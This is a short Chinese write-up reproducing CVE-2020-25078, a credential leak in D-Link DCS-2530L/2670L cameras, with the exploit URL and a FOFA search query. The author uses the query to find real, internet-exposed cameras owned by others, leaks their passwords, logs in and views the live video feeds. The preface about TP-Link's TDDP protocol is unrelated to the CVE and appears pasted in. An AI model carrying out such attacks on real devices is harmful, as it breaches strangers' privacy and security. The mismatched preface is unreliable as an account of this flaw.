D-Link DCS-2530L和DCS-2670L监控信息泄露漏洞（CVE-2020-25078）复现

前言

查阅相关资料可知，TDDP协议(TP-LINK Device Debug Protocol) 是TP-LINK申请了专利的一种在UPD通信的基础上设计的协议，而Google安全专家Matthew Garrett在TP-Link SR20设备上的TDDP协议文件中发现了一处可造成 “允许来自本地网络连接的任意命令执行” 的漏洞。

原理

CVE-2020-25078可以通过如下URL泄露密码

1
http://xx.xx.xx.xx/config/getuser?index=0

复现

由于手上没有DCS的设备也不好模拟，于是我直接用的fofa搜的IP去打

fofa搜索: app=app="D_Link-DCS-2670L"

![image-20231221100145549](picture/D-Link DCS-2530L和DCS-2670L监控信息泄露漏洞（CVE-2020-25078）复现/image-20231221100145549.png)

找到了，于是直接去泄露

![image-20231221100254982](picture/D-Link DCS-2530L和DCS-2670L监控信息泄露漏洞（CVE-2020-25078）复现/image-20231221100254982.png)

直接密码就出来了，然后我们直接去登录就行

![image-20231221100327310](picture/D-Link DCS-2530L和DCS-2670L监控信息泄露漏洞（CVE-2020-25078）复现/image-20231221100327310.png)

然后图像就出来了，就很恐怖

![image-20231221100425210](picture/D-Link DCS-2530L和DCS-2670L监控信息泄露漏洞（CVE-2020-25078）复现/image-20231221100425210.png)